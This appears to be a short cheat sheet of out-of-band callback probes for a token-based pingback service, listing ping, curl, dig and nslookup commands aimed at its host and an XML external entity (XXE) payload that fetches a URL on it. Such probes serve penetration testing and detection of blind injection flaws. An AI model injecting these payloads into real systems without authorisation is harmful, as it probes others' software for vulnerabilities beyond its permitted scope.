$ ping -c1 -p 00abf85644275c54526a2bb60307f900 unhack.ca
$ curl http://unhack.ca/p/abf85644275c54526a2bb60307f9
$ dig abf85644275c54526a2bb60307f9 @unhack.ca
$ dig abf85644275c54526a2bb60307f9.ns.unhack.ca
C:\> nslookup abf85644275c54526a2bb60307f9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/abf85644275c54526a2bb60307f9">]> <foo>&xxe;</foo>